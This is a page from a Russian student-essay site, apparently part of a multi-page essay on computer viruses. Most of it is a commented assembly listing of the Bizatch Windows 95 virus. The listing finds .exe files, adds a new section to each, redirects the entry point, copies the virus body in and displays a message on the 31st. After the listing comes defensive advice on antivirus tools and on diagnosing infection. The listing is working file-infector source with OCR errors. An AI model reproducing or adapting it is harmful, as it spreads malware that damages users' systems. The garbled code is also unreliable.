МЕНЮ


Фестивали и конкурсы
Семинары
Издания
О МОДНТ
Приглашения
Поздравляем

НАУЧНЫЕ РАБОТЫ


  • Инновационный менеджмент
  • Инвестиции
  • ИГП
  • Земельное право
  • Журналистика
  • Жилищное право
  • Радиоэлектроника
  • Психология
  • Программирование и комп-ры
  • Предпринимательство
  • Право
  • Политология
  • Полиграфия
  • Педагогика
  • Оккультизм и уфология
  • Начертательная геометрия
  • Бухучет управленчучет
  • Биология
  • Бизнес-план
  • Безопасность жизнедеятельности
  • Банковское дело
  • АХД экпред финансы предприятий
  • Аудит
  • Ветеринария
  • Валютные отношения
  • Бухгалтерский учет и аудит
  • Ботаника и сельское хозяйство
  • Биржевое дело
  • Банковское дело
  • Астрономия
  • Архитектура
  • Арбитражный процесс
  • Безопасность жизнедеятельности
  • Административное право
  • Авиация и космонавтика
  • Кулинария
  • Наука и техника
  • Криминология
  • Криминалистика
  • Косметология
  • Коммуникации и связь
  • Кибернетика
  • Исторические личности
  • Информатика
  • Инвестиции
  • по Зоология
  • Журналистика
  • Карта сайта
  • Компьютерные вирусы

    ;Найдем смещение таблицы объектов

    xor eax,eax

    mov ax, word ptr [ebp+offset NtHeaderSize]

    add eax,18h

    mov dword ptr [ebp+offset ObjectTableoffset],eax

    ;Вычислим смещение последнего (null) объекта в таблице объектов

    mov esi,dword ptr [ebp+offset ObjectTableoffset]

    lea eax, [ebp+offset peheader]

    add esi,eax

    xor eax.eax

    mov ax, [ebp+offset numObj]

    mov ecx,40

    xor edx.edx

    mul ecx

    add esi,eax

    ;Увеличим число объектов на 1

    inc word ptr [ebp+offset numObj]

    lea edi,[ebp+offset newobject]

    xchg edi,esi

    ;Вычислим относительный виртуальный адрес (Relative Virtual Address

    ;или RVA) нового объекта

    mov eax,[edi-5*8+8]

    add eax,[edi-5*8+12]

    mov ecx,dword ptr [ebp+offset objalign]

    xor edx,edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp+offset RVA],eax

    ;Вычислим физический размер нового объекта

    mov ecx,dword ptr [ebp+offset filealign]

    mov eax,vend-vstart

    xor edx,edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp+offset physicalsize],eax

    ;Вычислим виртуальный размер нового объекта

    mov ecx,dword ptr [ebp+offset objalign]

    mov eax,vend-vstart+1000h

    xor edx.edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp+offset virtualsize],eax

    ;Вычислим физическое смещение нового объекта

    mov eax,[edi-5*8+20]

    add eax,[edi-5*8+16]

    mov ecx,dword ptr [ebp+offset filealign]

    xor edx,edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp+offset physicaloffset],eax

    ;Обновим размер образа (размер в памяти) файла

    mov eax,vend-vstart+1000h

    add eax,dword ptr [ebp+offset imagesize]

    mov ecx, [ebp+offset objalign]

    xor edx,edx

    div ecx

    inc eax

    mul ecx

    mov dword ptr [ebp+offset imagesize],eax

    ;Скопируем новый объект в таблицу объектов

    mov ecx,10

    rep movsd

    ;Вычислим точку входа RVA

    mov eax,dword ptr [ebp+offset RVA]

    mov ebx,dword ptr [ebp+offset entrypointRVA]

    mov dword ptr [ebp+offset entrypointRVA],eax

    sub eax.ebx

    add eax,5

    ;Установим значение, необходимое для возврата в носитель

    mov dword ptr [ebp+offset subme],eax

    ;Поставим указатель позиции чтения/записи на начало РЕ-заголовка

    push О

    push О

    push dword ptr [ebp+offset peheaderoffset]

    push dword ptr [ebp+offset ahand]

    call SetFilePointer

    ;Запишем РЕ-заголовок и таблицу объектов в файл

    push О

    lea eax,[ebp+offset bytesread]

    push eax

    push dword ptr [ebp+offset headersize]

    lea eax, [ebp+offset peheader]

    push eax

    push dword ptr [ebp+offset ahand]

    call WriteFile

    ;Увеличим счетчик заражений

    inc byte ptr [ebp+offset countinfect]

    ;Поставим указатель позиции чтения/записи

    ;по физическому смещению нового объекта

    push О

    push О

    push dword ptr [ebp+offset physicaloffset]

    push dword ptr [ebp+offset ahand]

    call SetFilePointer

    ;Запишем тело вируса в новый объект

    push О

    lea eax, [ebp+offset bytesread]

    push eax

    push vend-vstart

    lea eax, [ebp+offset vstart]

    push eax

    push dword ptr [ebp+offset ahand]

    call WriteFile

    ;3акроем файл

    notape:

    push dword ptr [ebp+offset ahand]

    call CloseFile

    ; Переход к следующему файлу

    findnextone:

    ;Проверим, сколько файлов заразили: если 3,

    ;то выходим, если меньше - ищем следующий

    cmp byte ptr [ebp+offset countinfect],3

    jz outty

    ;Ищем следующий файл

    lea eax, [ebp+offset win32_data_thang]

    push eax

    push dword ptr [ebp+offset searchhandle]

    call FindNext

    ;Если файл найден, переходим к заражению

    or eax, eax

    jnz gofile

    ;Сюда попадаем, если файл не найден

    foundnothing:

    ;Сменим директорию

    хоr eax, eax

    lea edi, [ebp+offset tempdir]

    mov ecx, 256/4

    rep stosd

    lea edi, [ebp+offset tempdirl]

    mov ecx,256/4

    rep stosd

    ;Получим текущую директорию

    lea esi,[ebp+offset tempdir]

    push esi

    push 255

    call GetCurDir

    ;Сменим директорию на "."

    lea eax, [ebp+offset dotdot]

    push eax

    call SetCurDir

    ;Получим текущую директорию

    lea edi,[ebp+offset tempdirl]

    push edi

    push 255

    call GetCurDir

    ;Проверим, корневая ли это директория. Если да, то выходим

    mov ecx, 256/4

    rep cmpsd

    jnz infectdir

    ;"3аметаем следы" и выходим в программу-носитель

    outty:

    ;Возвратимся в оригинальную текущую директорию

    lea eax,[ebp+offset orgdir]

    push eax

    call SetCurDir

    ;Получим текущую дату и время

    lea eax, [ebp+offset systimestruct]

    push eax

    call GetTime

    ;Проверим число. Если это 31-ое, выдаем сообщение

    cmp word ptr [ebp+offset day],31

    jnz nopayload

    ;Сообщение для пользователя

    push 1000h ;MB_SYSTEMMODAL

    lea eax, [ebp+offset boxtitle]

    push eax

    lea eax, [ebp+offset boxmsg]

    push eax

    push 0

    call MsgBox

    ;Выход в программу-носитель

    nopayload:

    pop eax

    jmp eax

    ;Когда KERNEL будет обнаружен, его смещение будет записано

    kern dd OBFF93B95h

    ;Значения KERNEL, известные нам

    kern1 dd OBFF93B95h

    kern2 dd OBFF93C1Dh

    ;Чтение текущей директории

    GetCurDir:

    ;3апишем в стек значение для получения текущей

    директории и вызовем KERNEL

    push OBFF77744h

    jmp [ebp+offset kern]

    ;Установка текущей директории

    SetCurDir:

    ;3апишем в стек значение для установки текущей

    директории и вызовем KERNEL

    push OBFF7771Dh

    jmp [ebp+offset kern]

    ;Получение времени и даты

    GetTime:

    ;Проверим, какой KERNEL работает

    cmp [ebp+offset kern],OBFF93B95h

    jnz gettimekern2

    ;3апишем в стек значение для получения

    ;времени и даты и вызовем KERNEL

    push OBFF9DOB6h

    jmp [ebp+offset kern]

    gettimekern2:

    ;Запишем в стек значение для получения

    ;Времени и даты и вызовем KERNEL

    push OBFF9Dl4Eh

    jmp [ebp+offset kern]

    ;Вывод сообщения

    MsgBox:

    ;Запишем в стек значение для вывода сообщения и вызовем KERNEL

    push OBFF638D9h

    jmp [ebp+offset kern]

    ;Поиск первого файла

    FindFile:

    ;Запишем в стек значение для поиска первого файла

    ;и вызовем KERNEL

    push OBFF77893h

    jmp [ebp+offset kern]

    ;Поиск следующего файла

    FindNext:

    ;Запишем в стек значение для поиска

    ;следующего файла и вызовем KERNEL

    push OBFF778CBh

    jmp [ebp+offset kern]

    ;Открытие/создание файла

    CreateFile:

    ;3апишем в стек значение для открытия/создания файла

    ;и вызовем KERNEL

    push OBFF77817h

    jmp [ebp+offset kern]

    ;Установка указателя чтения/записи

    SetFilePointer:

    ;Запишем в стек значение для установки

    ;указателя чтения/записи файла и вызовем KERNEL

    push OBFF76FAOh

    jmp [ebp+offset kern]

    ;Чтение из файла

    ReadFile:

    ;3апишем в стек значение для чтения из файла и вызовем KERNEL

    push OBFF75806h

    jmp [ebp+offset kern]

    ;3апись в файл

    WriteFile:

    ;3апишем в стек значение для записи в файл и вызовем KERNEL

    push OBFF7580Dh

    jmp [ebp+offset kern]

    ;Закрытие файла

    CloseFile:

    ;3апишем в стек значение для закрытия файла и вызовем KERNEL

    push OBFF7BC72h

    jmp [ebp+offset kern]

    ;Счетчик заражений

    countinfect db 0

    ;Используется для поиска файлов

    win32_data_thang:

    fileattr dd 0

    createtime dd 0,0

    lastaccesstime dd 0,0

    lastwritetime dd 0,0

    filesize dd 0,0

    resv dd 0,0

    fullname db 256 dup (0)

    realname db 256 dup (0)

    ;Имя сообщения, выводимого 31-го числа

    boxtitle db "Bizatch by Quantum / VLAD",0

    ;Сообщение, .выводимое 31-го числа

    boxmsg db "The taste of fame just got tastier!",0dh

    db "VLAD. Australia does it again with the world"s first Win95 Virus"

    db Odh.Odh

    db 9,"From the old school to the new. ",0dh,0dh

    db 9,"Metabolis",0dh

    db 9,"Qark",0dh

    db 9,"Darkman",0dh

    db 9,"Quantum",0dh

    db 9,"CoKe",0

    messagetostupidavers db "Please note: the name of this virus is [Bizatch]"

    db "written by Quantum of VLAD",0

    ;Данные о директориях

    orgdir db 256 dup (0)

    tempdir db 256 dup (0)

    tempdirl db 256 dup (0)

    Используется для смены директории

    dotdot db ".",0

    ;Используется для получения времени/даты

    systimestruct:

    dw 0,0,0

    day dw 0

    dw 0,0,0,0

    ;Индекс для поиска файлов

    searchhandle dd О

    ;Маска для поиска

    fname db "*.exe",0

    ;Описатель открытого файла

    ahand dd О

    ;Смещение РЕ-заголовка в файле

    peheaderoffset dd О

    ;Смещение таблицы объектов

    ObjedlTableoffset dd О

    ;Количество записанных/считанных байт при работе с файлом

    bytesread dd О

    ;Новый объект

    newobject:

    oname db ".vlad",0,0,0

    virtualsize dd 0

    RVA dd 0

    physicalsize dd 0

    physicaloffset dd 0

    reserved dd 0,0,0

    objectflags db 40h,0,0,OCOh

    ;Данные, необходимые для заражения файла

    peheader:

    signature dd 0

    cputype dw 0

    numObj dw 0

    db 3*4 dup (0)

    NtHeaderSize dw 0

    Flags dw 0

    db 4*4 dup (0)

    entrypointRVA dd 0

    db 3*4 dup (0)

    objalign dd 0

    filealign dd 0

    db 4*4 dup (0)

    imagesize dd 0

    headersize dd 0

    ;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов

    vend:

    db 1000h dup (0)

    ends

    end vstart

    Методы борьбы с вирусами.

    Рассмотрим различные способы борьбы с вирусами. Итак, что же такое

    антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то

    многие считают, что антивирус может обнаружить любой вирус, то есть,

    запустив антивирусную программу или монитор, можно быть абсолютно уверенным

    в их надежности. Такая точка зрения не совсем верна. Дело в том, что

    антивирус - это тоже программа, конечно, написанная профессионалом. Но эти

    программы способны распознавать и уничтожать только известные вирусы. То

    есть антивирус против конкретного вируса может быть написан только в том

    случае, когда у программиста есть в наличии хотя бы один экземпляр этого

    вируса. Вот и идет эта бесконечная война между авторами вирусов и

    антивирусов, правда, первых в нашей стране почему-то всегда больше, чем

    вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что

    существует большое количество вирусов, алгоритм которых практически

    скопирован с алгоритма других вирусов. Как правило, такие вариации создают

    непрофессиональные программисты, которые по каким-то причи-нам решили

    написать вирус. Для борьбы с такими «копиями» придумано новое оружие -

    эвристические анализаторы. С их помощью антивирус способен находить

    подобные аналоги известных вирусов, сообщая пользователю, что у него,

    похоже, завелся вирус. Естественно, надежность эвристического анализатора

    не 100%, но все же его коэффициент полезного действия больше 0,5. Таким

    образом, в этой информационной войне, как, впрочем, и в любой другой,

    остаются сильнейшие. Вирусы, которые не распознаются антивирусными

    детекторами, способны написать только наиболее опытные и квалифицированные

    программисты.

    Таким образом, на 100% защититься от вирусов практически невозможно

    (подразумевается, что пользователь меняется дискетами с друзьямии играет в

    игры, а также получает информацию из других источников,например из сетей).

    Если же не вносить информацию в компьютер из-вне, заразиться вирусом

    невозможно - сам он не родится. Итак, что же можно посоветовать, чтобы

    сталкиваться с вирусами какможно меньше или, по крайней мере, только

    сталкиваться, не допускаяих на жесткий диск своего винчестера. В первую

    очередь - самые элементарные правила «компьютерной гигиены»: проверка

    дискет на наличие вируса самыми надежными антивирусными программами,

    такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске

    установлен ревизор Adinf. Многие пользователи добавляют строку запуска

    ревизоров, антивирусов, антивирусных мониторов в конфигура-ционный файл

    AUTOEXEC.BAT - тоже весьма действенно.

    Есть определенные способы борьбы и с загрузочными вирусами. В

    установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда

    запись начинается, BIOS сразу же ее останавливает и запрашивает

    подтверждение на разрешение записи. Естественно, следует запретить запись,

    а затем загрузится со своей, заранее подготовленной, системной дискеты. У

    большинства компьютерных пользователей такой дискеты нет - а надо бы

    завести. И это еще не все. Вирусы постоянно совершенствуются, и все их

    многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что

    рано или поздно вирус все-таки попадет на жесткий диск, и встретить его

    нужно во всеоружии.

    Стандартные программы защиты

    В большинстве случаев вирус, заразивший компьютер, помогут обнаружить

    уже разработанные программы-детекторы. Они проверяют, имеется ли в файлах

    на указанном пользователем диске специфическая для данного вируса

    последовательность байт. При обнаружении вируса программа выводит на экран

    соответствующее сообщение. Стоит также заметить, что программы-детекторы не

    слишком универсальны, поскольку способны обнаружить только известные

    вирусы. Некоторым таким программам можно сообщить специальную

    последовательность байт, характерную для какого-то вируса, и они смогут

    обнаружить инфицированные им файлы - например, это умеет NotronAntiVirus

    или AVSP. Программа Aidstest устарела и сейчас уже практически не

    используется. Наиболее широкое распространение получили программы DrWeb и

    AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы

    - как самые старые, так и только что появившиеся. Еще нужно упомянуть

    детектор Adinf. Эта антивирусная программа обнару-живает все вирусы, не

    изменяющие длину файлов, невидимые вирусы, и многие другие. Таким образом,

    эти три программы обеспечат мощнейшую защиту против вирусов. Кстати, на

    западе тоже предпочитают пользоваться российскими программами DrWeb и AVP.

    Спасаясь от вирусов, создайте мощную защиту против них. Установитена своем

    диске AVP, DrWeb и Adinf. Каждая программа хороша по-своему - пусть защита

    будет многоуровневой. Все эти программы можно вписать в файл AUTOEXEC.BAT,

    тогда при загрузке компьютера проверка на заражение вирусом будет

    проводиться автоматически. Всегда проверяйте файлы, попадающие на ваш

    компьютер. Любой из них может быть заражен вирусом, это нужно помнить.

    Никогда не позволяйте посторонним работать на вашем компьютере - именно они

    чаще всего приносят вирусы. Особое внимание следует уделять играм -чаще

    всего вирусы распространяются именно так. Новые игры и программы всегда

    нужно проверять на вирус.

    Поиск вируса

    Когда во время работы компьютер начинает вести себя как-то необычно,

    первая мысль, приходящая на ум любому пользователю - уж не вирус ли это. В

    такой ситуации важно правильно оценить свои подозрения и сделать выводы.

    Как правило, человек, обладающий некоторым опытом и владеющий

    соответствующим программным инструментарием, справляется с этой задачей без

    особых затруднений. Наиболее сложная ситуация - когда дей-ствовать

    приходится в «полевых» условиях, например, на чужой машине. Типичный

    вариант: стандартная PC (286, 386...Pentium), как минимум 1Мбайт ОЗУ, как

    минимум 400Мбайт HDD; возможно наличие принтера, звуковой карты, CDD и

    прочей периферии. Программное обеспечение: Windows 95, возможно Windows

    3.1x, но работают все равно под DOS. Джентльменский набор: Norton Commander

    3.0-5.0, Norton Utility 6.0-8.0, свежие антивирусы: AidsTest и DrWeb,

    русификаторы, архиваторы, резидентные программы и прочее. В качестве

    обязательного условия - наличие заведомо «чистой» защищенной от записи

    загрузочной дискеты, содержащей (хотя бы в урезанном виде) вышеупомянутый

    комплект программ. Итак, по мнению хозяина компьютер ведет себя странно.

    Например, программы, которые раньше работали правильно, начинают сбоить или

    вообще перестают запускаться, компьютер периодически «виснет», экран и

    динамик воспроизводят необычные видео- и аудиоэффекты. Чтобудем делать?

    1. Усаживаем перед собой хозяина компьютера и подробно расспрашиваем

    его о событиях, предшествующих возникновению сбоев. Выяснить нужно

    следующее. Кем и как используется машина? Если сотрудники или хозяин

    часто приносят мелкие игрушки, гороскопы, устанавливают и стирают

    различные бухгалтерские программы, то вероятность наличия вируса в

    машине весьма высока. Крупные игрушки, которые с трудом умещаются

    даже в упакованном виде в коробку дискет, переносятся с машины на

    машину редко. При этом они, чаще всего, тщательно проверяются на

    наличие вирусов.

    a) Когда впервые замечены симптомы вируса? Некоторые вирусы любят

    приурочивать свою деятельность к определенной дате или времени: 1

    мая, 7 ноября, 13-е число, пятница, пять часов вечера,а также 6

    марта, 15 ноября, 11-я минута каждого часа.

    b) Не связаны ли изменения в работе компьютера с первым запуском какой-

    либо программы? Если да, то эта программа – первая в очереди на

    «медкомиссию».

    c) Не связано ли появление симптомов заражения с распаковкой какого-

    либо старого архива и запуском программ из него? Некоторые

    современные антивирусы (AVP, DrWeb) умеют проверять архивы наиболее

    Страницы: 1, 2, 3, 4, 5


    Приглашения

    09.12.2013 - 16.12.2013

    Международный конкурс хореографического искусства в рамках Международного фестиваля искусств «РОЖДЕСТВЕНСКАЯ АНДОРРА»

    09.12.2013 - 16.12.2013

    Международный конкурс хорового искусства в АНДОРРЕ «РОЖДЕСТВЕНСКАЯ АНДОРРА»




    Copyright © 2012 г.
    При использовании материалов - ссылка на сайт обязательна.